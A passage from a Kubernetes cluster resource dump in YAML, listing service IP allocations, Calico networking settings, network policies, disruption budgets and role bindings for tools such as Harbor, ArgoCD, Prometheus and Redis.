    resourceVersion: "220109"
    uid: 08f519aa-7c28-4171-ac83-e8f825be20c9
  spec:
    parentRef:
      name: cert-manager-cainjector
      namespace: cert-manager
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.106.85.212
    resourceVersion: "1129865"
    uid: 9e31128f-9d95-416f-98eb-be8d6a104ca8
  spec:
    parentRef:
      name: prometheus-community-server
      namespace: prometheus
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.107.233.106
    resourceVersion: "417237"
    uid: e04828aa-3581-45b6-88b4-1696bb064fee
  spec:
    parentRef:
      name: kubernetes-dashboard-metrics-scraper
      namespace: kubernetes-dashboard
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.107.238.165
    resourceVersion: "6777407"
    uid: 2de915ca-d10c-4e04-b619-50ac2ea2cc87
  spec:
    parentRef:
      name: harbor-portal
      namespace: harbor
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T11:58:00Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.108.216.99
    resourceVersion: "6777426"
    uid: 0a0f720b-4a9e-41f2-b611-1568c351c631
  spec:
    parentRef:
      name: harbor-trivy
      namespace: harbor
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T11:15:44Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.108.248.99
    resourceVersion: "6769116"
    uid: 3d5cba69-ec37-4390-a59f-3c19fe5b254b
  spec:
    parentRef:
      name: redis-master
      namespace: redis
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-23T10:16:01Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.109.174.96
    resourceVersion: "417242"
    uid: 5cb20b2b-3295-43fd-92b6-701aa7ed2f2e
  spec:
    parentRef:
      name: kubernetes-dashboard-auth
      namespace: kubernetes-dashboard
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-21T18:13:53Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.109.210.255
    resourceVersion: "57876"
    uid: d0de1cfa-c713-4103-b3f9-ff9e9ed5472f
  spec:
    parentRef:
      name: metallb-webhook-service
      namespace: metallb-system
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.109.95.149
    resourceVersion: "6777389"
    uid: 1b61f476-34a1-4b03-92a1-84364aa7d946
  spec:
    parentRef:
      name: harbor-core
      namespace: harbor
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-21T20:15:17Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.110.110.150
    resourceVersion: "75012"
    uid: f5247605-8c4f-4815-ac50-88a5f8b62d1a
  spec:
    parentRef:
      name: argocd-redis
      namespace: argocd
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T16:26:42Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.110.195.55
    resourceVersion: "6825273"
    uid: 1beca13e-50e3-495e-8809-e1aea9bcae8a
  spec:
    parentRef:
      name: goldmane
      namespace: calico-system
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.111.198.73
    resourceVersion: "265880"
    uid: 735e3649-88cf-4456-a6c2-660839d2f3a2
  spec:
    parentRef:
      name: vault-agent-injector-svc
      namespace: vault
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.111.214.6
    resourceVersion: "1129878"
    uid: 643a773f-a988-409f-8615-59d82a1766ff
  spec:
    parentRef:
      name: prometheus-community-prometheus-pushgateway
      namespace: prometheus
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-21T20:15:17Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.111.67.78
    resourceVersion: "75009"
    uid: bd3e92fa-b87e-4e0d-b54c-3e99c8ed2b8b
  spec:
    parentRef:
      name: argocd-dex-server
      namespace: argocd
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.96.0.1
    resourceVersion: "239"
    uid: df0ed98f-aa87-41e7-86bc-2a06a61ce660
  spec:
    parentRef:
      name: kubernetes
      namespace: default
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-21T11:09:19Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.96.0.10
    resourceVersion: "275"
    uid: e214c43c-2f03-4bf5-87be-4cbdb247eddd
  spec:
    parentRef:
      name: kube-dns
      namespace: kube-system
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-26T14:49:44Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.96.108.38
    resourceVersion: "1129861"
    uid: ba4c17b6-f5e6-4eef-926e-2a284aeb03b7
  spec:
    parentRef:
      name: prometheus-community-prometheus-node-exporter
      namespace: prometheus
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-21T20:15:16Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.97.189.116
    resourceVersion: "74994"
    uid: 12e338e6-f924-493d-9bfd-03e046a44040
  spec:
    parentRef:
      name: argocd-applicationset-controller
      namespace: argocd
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.97.225.254
    resourceVersion: "6777401"
    uid: ece18872-d87f-4970-a5db-851107f4bf16
  spec:
    parentRef:
      name: harbor-jobservice
      namespace: harbor
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-21T20:15:16Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.97.254.70
    resourceVersion: "74991"
    uid: ccd14594-8e68-4b46-8e2f-45338ab97b00
  spec:
    parentRef:
      name: argocd-repo-server
      namespace: argocd
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-21T20:15:16Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.97.88.204
    resourceVersion: "75001"
    uid: a3da4787-edf9-4098-88ad-3ca6099c52d4
  spec:
    parentRef:
      name: argocd-server
      namespace: argocd
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-21T19:03:27Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.97.98.158
    resourceVersion: "64752"
    uid: a3bdbcbc-ef05-4839-a16d-bb0019676283
  spec:
    parentRef:
      name: ingress-nginx-controller-admission
      namespace: ingress-nginx
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-22T18:30:50Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.98.111.152
    resourceVersion: "266998"
    uid: a96661de-c866-4f58-ae2d-ab61c863202e
  spec:
    parentRef:
      name: metrics-server
      namespace: metrics-server
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T12:11:18Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.98.167.107
    resourceVersion: "6780239"
    uid: 0b5b6847-981d-4522-9c9a-c93522bcc3be
  spec:
    parentRef:
      name: hera-wordpress
      namespace: hera
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-09-21T19:03:27Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.98.98.174
    resourceVersion: "64749"
    uid: d2f1809e-7445-4841-a033-32f48f8f9d61
  spec:
    parentRef:
      name: ingress-nginx-controller
      namespace: ingress-nginx
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: IPAddress
  metadata:
    creationTimestamp: "2025-10-19T12:06:46Z"
    labels:
      ipaddress.kubernetes.io/ip-family: IPv4
      ipaddress.kubernetes.io/managed-by: ipallocator.k8s.io
    name: 10.99.249.111
    resourceVersion: "6779349"
    uid: 5dbbffc1-90d9-42cf-83ed-6a2760d91d49
  spec:
    parentRef:
      name: artemis-wordpress
      namespace: artemis
      resource: services
- apiVersion: networking.k8s.io/v1
  kind: NetworkPolicy
  metadata:
    creationTimestamp: "2025-10-19T16:26:42Z"
    generation: 1
    name: goldmane
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Goldmane
      name: default
      uid: 5994cdc7-d4c2-4413-bf3b-9967cd01464d
    resourceVersion: "6825299"
    uid: 7ab69579-562a-421c-9b2d-368df1603a6a
  spec:
    ingress:
    - ports:
      - port: 7443
        protocol: TCP
    podSelector:
      matchLabels:
        app.kubernetes.io/name: goldmane
    policyTypes:
    - Ingress
- apiVersion: networking.k8s.io/v1
  kind: NetworkPolicy
  metadata:
    creationTimestamp: "2025-10-19T16:26:59Z"
    generation: 1
    name: whisker
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Whisker
      name: default
      uid: 5f1effd2-9eab-4639-b80e-b5f40d365ef0
    resourceVersion: "6825405"
    uid: 3160155d-f2c7-46fa-908d-94e5983c58c3
  spec:
    egress:
    - ports:
      - port: 7443
        protocol: TCP
      to:
      - podSelector:
          matchLabels:
            app.kubernetes.io/name: goldmane
    - ports:
      - port: 53
        protocol: TCP
      - port: 53
        protocol: UDP
      to:
      - namespaceSelector:
          matchLabels:
            projectcalico.org/name: kube-system
        podSelector:
          matchLabels:
            k8s-app: kube-dns
    podSelector:
      matchLabels:
        app.kubernetes.io/name: whisker
    policyTypes:
    - Ingress
    - Egress
- apiVersion: networking.k8s.io/v1
  kind: NetworkPolicy
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    generation: 1
    labels:
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      helm.sh/chart: redis-23.1.3
    name: redis
    namespace: redis
    resourceVersion: "6769096"
    uid: 38ae3a42-c0bc-44cc-a326-3452487484b4
  spec:
    egress:
    - {}
    ingress:
    - ports:
      - port: 6379
        protocol: TCP
    podSelector:
      matchLabels:
        app.kubernetes.io/instance: redis
        app.kubernetes.io/name: redis
    policyTypes:
    - Ingress
    - Egress
- apiVersion: networking.k8s.io/v1
  kind: ServiceCIDR
  metadata:
    creationTimestamp: "2025-09-21T11:09:16Z"
    finalizers:
    - networking.k8s.io/service-cidr-finalizer
    name: kubernetes
    resourceVersion: "18045311"
    uid: 2c43d6f1-9c50-46d1-8f25-acc8f73d742a
  spec:
    cidrs:
    - 10.96.0.0/12
  status:
    conditions:
    - lastTransitionTime: "2025-11-29T14:22:37Z"
      message: Kubernetes Service CIDR is ready
      reason: ""
      status: "True"
      type: Ready
- apiVersion: operator.tigera.io/v1
  kind: Goldmane
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"operator.tigera.io/v1","kind":"Goldmane","metadata":{"annotations":{},"name":"default"}}
    creationTimestamp: "2025-10-19T16:26:41Z"
    generation: 1
    name: default
    resourceVersion: "6825262"
    uid: 5994cdc7-d4c2-4413-bf3b-9967cd01464d
- apiVersion: operator.tigera.io/v1
  kind: Installation
  metadata:
    creationTimestamp: "2025-10-19T16:12:21Z"
    finalizers:
    - operator.tigera.io/installation-controller
    - tigera.io/operator-cleanup
    - operator.tigera.io/goldmane-controller
    - operator.tigera.io/whisker-controller
    generation: 3
    name: default
    resourceVersion: "18046710"
    uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
  spec:
    calicoNetwork:
      bgp: Enabled
      hostPorts: Enabled
      ipPools:
      - allowedUses:
        - Workload
        - Tunnel
        assignmentMode: Automatic
        blockSize: 26
        cidr: 192.168.0.0/16
        disableBGPExport: false
        disableNewAllocations: false
        encapsulation: IPIP
        name: default-ipv4-ippool
        natOutgoing: Enabled
        nodeSelector: all()
      linuxDataplane: Iptables
      linuxPolicySetupTimeoutSeconds: 0
      mtu: 0
      multiInterfaceMode: None
      nodeAddressAutodetectionV4:
        firstFound: true
      windowsDataplane: Disabled
    cni:
      ipam:
        type: Calico
      type: Calico
    componentResources:
    - componentName: Node
      resourceRequirements:
        requests:
          cpu: 250m
    controlPlaneReplicas: 2
    flexVolumePath: None
    kubeletVolumePluginPath: /var/lib/kubelet
    logging:
      cni:
        logFileMaxAgeDays: 30
        logFileMaxCount: 10
        logFileMaxSize: 100Mi
        logSeverity: Info
    nodeUpdateStrategy:
      rollingUpdate:
        maxSurge: 0
        maxUnavailable: 1
      type: RollingUpdate
    nonPrivileged: Disabled
    variant: Calico
  status:
    calicoVersion: v3.30.4
    computed:
      calicoNetwork:
        bgp: Enabled
        hostPorts: Enabled
        ipPools:
        - allowedUses:
          - Workload
          - Tunnel
          assignmentMode: Automatic
          blockSize: 26
          cidr: 192.168.0.0/16
          disableBGPExport: false
          disableNewAllocations: false
          encapsulation: IPIP
          name: default-ipv4-ippool
          natOutgoing: Enabled
          nodeSelector: all()
        linuxDataplane: Iptables
        linuxPolicySetupTimeoutSeconds: 0
        mtu: 0
        multiInterfaceMode: None
        nodeAddressAutodetectionV4:
          firstFound: true
        windowsDataplane: Disabled
      cni:
        ipam:
          type: Calico
        type: Calico
      componentResources:
      - componentName: Node
        resourceRequirements:
          requests:
            cpu: 250m
      controlPlaneReplicas: 2
      flexVolumePath: None
      kubeletVolumePluginPath: /var/lib/kubelet
      logging:
        cni:
          logFileMaxAgeDays: 30
          logFileMaxCount: 10
          logFileMaxSize: 100Mi
          logSeverity: Info
      nodeUpdateStrategy:
        rollingUpdate:
          maxSurge: 0
          maxUnavailable: 1
        type: RollingUpdate
      nonPrivileged: Disabled
      variant: Calico
    conditions:
    - lastTransitionTime: "2025-11-29T14:26:47Z"
      message: All Objects Available
      observedGeneration: 3
      reason: AllObjectsAvailable
      status: "False"
      type: Degraded
    - lastTransitionTime: "2025-11-29T14:26:47Z"
      message: All objects available
      observedGeneration: 3
      reason: AllObjectsAvailable
      status: "True"
      type: Ready
    - lastTransitionTime: "2025-11-29T14:26:47Z"
      message: All Objects Available
      observedGeneration: 3
      reason: AllObjectsAvailable
      status: "False"
      type: Progressing
    variant: Calico
- apiVersion: operator.tigera.io/v1
  kind: TigeraStatus
  metadata:
    creationTimestamp: "2025-10-19T16:12:22Z"
    generation: 1
    name: calico
    resourceVersion: "18046614"
    uid: a67ccbbb-a04b-410e-b9b5-6526a39b70a4
  spec: {}
  status:
    conditions:
    - lastTransitionTime: "2025-11-29T14:26:16Z"
      message: All Objects Available
      observedGeneration: 3
      reason: AllObjectsAvailable
      status: "False"
      type: Degraded
    - lastTransitionTime: "2025-11-29T13:25:28Z"
      message: All objects available
      observedGeneration: 3
      reason: AllObjectsAvailable
      status: "True"
      type: Available
    - lastTransitionTime: "2025-11-29T13:25:29Z"
      message: All Objects Available
      observedGeneration: 3
      reason: AllObjectsAvailable
      status: "False"
      type: Progressing
- apiVersion: operator.tigera.io/v1
  kind: TigeraStatus
  metadata:
    creationTimestamp: "2025-10-19T16:26:43Z"
    generation: 1
    name: goldmane
    resourceVersion: "18046537"
    uid: 57178a4e-9ebe-4c8d-afe3-506785c98ffe
  spec: {}
  status:
    conditions:
    - lastTransitionTime: "2025-11-29T14:25:56Z"
      message: All Objects Available
      observedGeneration: 1
      reason: AllObjectsAvailable
      status: "False"
      type: Progressing
    - lastTransitionTime: "2025-10-19T16:26:43Z"
      message: All Objects Available
      observedGeneration: 1
      reason: AllObjectsAvailable
      status: "False"
      type: Degraded
    - lastTransitionTime: "2025-11-29T14:25:56Z"
      message: All objects available
      observedGeneration: 1
      reason: AllObjectsAvailable
      status: "True"
      type: Available
- apiVersion: operator.tigera.io/v1
  kind: TigeraStatus
  metadata:
    creationTimestamp: "2025-10-19T16:12:22Z"
    generation: 1
    name: ippools
    resourceVersion: "6821170"
    uid: 86f9321a-6ed0-458a-92de-d21b3deaf5dd
  spec: {}
  status:
    conditions:
    - lastTransitionTime: "2025-10-19T16:12:22Z"
      message: All Objects Available
      observedGeneration: 3
      reason: AllObjectsAvailable
      status: "False"
      type: Progressing
    - lastTransitionTime: "2025-10-19T16:12:22Z"
      message: All Objects Available
      observedGeneration: 3
      reason: AllObjectsAvailable
      status: "False"
      type: Degraded
    - lastTransitionTime: "2025-10-19T16:12:27Z"
      message: All objects available
      observedGeneration: 3
      reason: AllObjectsAvailable
      status: "True"
      type: Available
- apiVersion: operator.tigera.io/v1
  kind: TigeraStatus
  metadata:
    creationTimestamp: "2025-10-19T16:26:58Z"
    generation: 1
    name: whisker
    resourceVersion: "18033646"
    uid: 5d45b6c0-3b57-4a1f-b5e5-f2da1aa1e076
  spec: {}
  status:
    conditions:
    - lastTransitionTime: "2025-10-19T16:26:59Z"
      message: All Objects Available
      observedGeneration: 2
      reason: AllObjectsAvailable
      status: "False"
      type: Degraded
    - lastTransitionTime: "2025-11-29T13:23:58Z"
      message: All objects available
      observedGeneration: 2
      reason: AllObjectsAvailable
      status: "True"
      type: Available
    - lastTransitionTime: "2025-11-29T13:23:58Z"
      message: All Objects Available
      observedGeneration: 2
      reason: AllObjectsAvailable
      status: "False"
      type: Progressing
- apiVersion: operator.tigera.io/v1
  kind: Whisker
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"operator.tigera.io/v1","kind":"Whisker","metadata":{"annotations":{},"name":"default"}}
    creationTimestamp: "2025-10-19T16:26:55Z"
    generation: 2
    name: default
    resourceVersion: "6825362"
    uid: 5f1effd2-9eab-4639-b80e-b5f40d365ef0
  spec:
    notifications: Enabled
- apiVersion: policy/v1
  kind: PodDisruptionBudget
  metadata:
    creationTimestamp: "2025-10-19T16:12:26Z"
    generation: 1
    name: calico-typha
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "18033424"
    uid: 697bde4f-9a8f-4e60-97a8-b2b017852aae
  spec:
    maxUnavailable: 1
    selector:
      matchLabels:
        k8s-app: calico-typha
  status:
    conditions:
    - lastTransitionTime: "2025-11-29T13:23:46Z"
      message: ""
      observedGeneration: 1
      reason: SufficientPods
      status: "True"
      type: DisruptionAllowed
    currentHealthy: 2
    desiredHealthy: 1
    disruptionsAllowed: 1
    expectedPods: 2
    observedGeneration: 1
- apiVersion: policy/v1
  kind: PodDisruptionBudget
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"policy/v1","kind":"PodDisruptionBudget","metadata":{"annotations":{},"labels":{"k8s-app":"calico-kube-controllers"},"name":"calico-kube-controllers","namespace":"kube-system"},"spec":{"maxUnavailable":1,"selector":{"matchLabels":{"k8s-app":"calico-kube-controllers"}}}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 1
    labels:
      k8s-app: calico-kube-controllers
    name: calico-kube-controllers
    namespace: kube-system
    resourceVersion: "6824007"
    uid: 56404046-11a3-40c5-a588-a032b66022ef
  spec:
    maxUnavailable: 1
    selector:
      matchLabels:
        k8s-app: calico-kube-controllers
  status:
    conditions:
    - lastTransitionTime: "2025-10-19T16:12:29Z"
      message: ""
      observedGeneration: 1
      reason: InsufficientPods
      status: "False"
      type: DisruptionAllowed
    currentHealthy: 0
    desiredHealthy: 0
    disruptionsAllowed: 0
    expectedPods: 0
    observedGeneration: 1
- apiVersion: policy/v1
  kind: PodDisruptionBudget
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: master
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      helm.sh/chart: redis-23.1.3
    name: redis-master
    namespace: redis
    resourceVersion: "18046451"
    uid: 983e1da2-180e-4257-b723-0371e222054a
  spec:
    maxUnavailable: 1
    selector:
      matchLabels:
        app.kubernetes.io/component: master
        app.kubernetes.io/instance: redis
        app.kubernetes.io/name: redis
  status:
    conditions:
    - lastTransitionTime: "2025-11-29T14:25:41Z"
      message: ""
      observedGeneration: 1
      reason: SufficientPods
      status: "True"
      type: DisruptionAllowed
    currentHealthy: 1
    desiredHealthy: 0
    disruptionsAllowed: 1
    expectedPods: 1
    observedGeneration: 1
- apiVersion: policy/v1
  kind: PodDisruptionBudget
  metadata:
    annotations:
      meta.helm.sh/release-name: redis
      meta.helm.sh/release-namespace: redis
    creationTimestamp: "2025-10-19T11:15:44Z"
    generation: 1
    labels:
      app.kubernetes.io/component: replica
      app.kubernetes.io/instance: redis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: redis
      app.kubernetes.io/version: 8.2.2
      helm.sh/chart: redis-23.1.3
    name: redis-replicas
    namespace: redis
    resourceVersion: "18046496"
    uid: 4f2dafd4-c2d4-4e47-8e1f-f223ecdacb3b
  spec:
    maxUnavailable: 1
    selector:
      matchLabels:
        app.kubernetes.io/component: replica
        app.kubernetes.io/instance: redis
        app.kubernetes.io/name: redis
  status:
    conditions:
    - lastTransitionTime: "2025-11-29T14:25:47Z"
      message: ""
      observedGeneration: 1
      reason: SufficientPods
      status: "True"
      type: DisruptionAllowed
    currentHealthy: 3
    desiredHealthy: 2
    disruptionsAllowed: 1
    expectedPods: 3
    observedGeneration: 1
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding","metadata":{"annotations":{},"name":"admin-user"},"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"cluster-admin"},"subjects":[{"kind":"ServiceAccount","name":"admin-user","namespace":"kubernetes-dashboard"}]}
    creationTimestamp: "2025-09-23T10:12:14Z"
    name: admin-user
    resourceVersion: "416536"
    uid: e7b730ce-3edf-40df-bdb9-8f363bf1c064
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: cluster-admin
  subjects:
  - kind: ServiceAccount
    name: admin-user
    namespace: kubernetes-dashboard
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: application-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-application-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-application-controller
    resourceVersion: "74972"
    uid: a6afd56f-271b-4c0e-b18e-c1ab6302e54e
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: argocd-application-controller
  subjects:
  - kind: ServiceAccount
    name: argocd-application-controller
    namespace: argocd
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: notifications-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-notifications-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-notifications-controller
    resourceVersion: "74974"
    uid: b5831b3e-04d5-4ad1-9b27-26e853c88cb5
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: argocd-notifications-controller
  subjects:
  - kind: ServiceAccount
    name: argocd-notifications-controller
    namespace: argocd
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-server
    resourceVersion: "74973"
    uid: 9600c32f-91bc-45fc-89ff-c5b6a836ee7f
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: argocd-server
  subjects:
  - kind: ServiceAccount
    name: argocd-server
    namespace: argocd
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding","metadata":{"annotations":{},"name":"calico-cni-plugin"},"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"calico-cni-plugin"},"subjects":[{"kind":"ServiceAccount","name":"calico-cni-plugin","namespace":"kube-system"}]}
    creationTimestamp: "2025-09-21T11:09:52Z"
    finalizers:
    - tigera.io/cni-protector
    name: calico-cni-plugin
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821107"
    uid: 7ba0c2c1-0756-4e6a-a4d5-4899d9bc8fc7
  roleRef:
    apiGroup: rbac.authorization.k8s.io
    kind: ClusterRole
    name: calico-cni-plugin
  subjects:
  - kind: ServiceAccount
    name: calico-cni-plugin
    namespace: calico-system
- apiVersion: rbac.authorization.k8s.io/v1
  kind: ClusterRoleBinding
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding","metadata":{"annotations":{},"name":"calico-kube-controllers"},"roleRef":{"apiGroup":"rbac.authorization.k8s.io","kind":"ClusterRole","name":"calico-kube-controllers"},"subjects":[{"kind":"ServiceAccount","name":"calico-kube-controllers","namespace":"kube-system"}]}
    creationTimestamp: "2025-09-21T11:09:51Z"
    name: calico-kube-controllers
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821134"
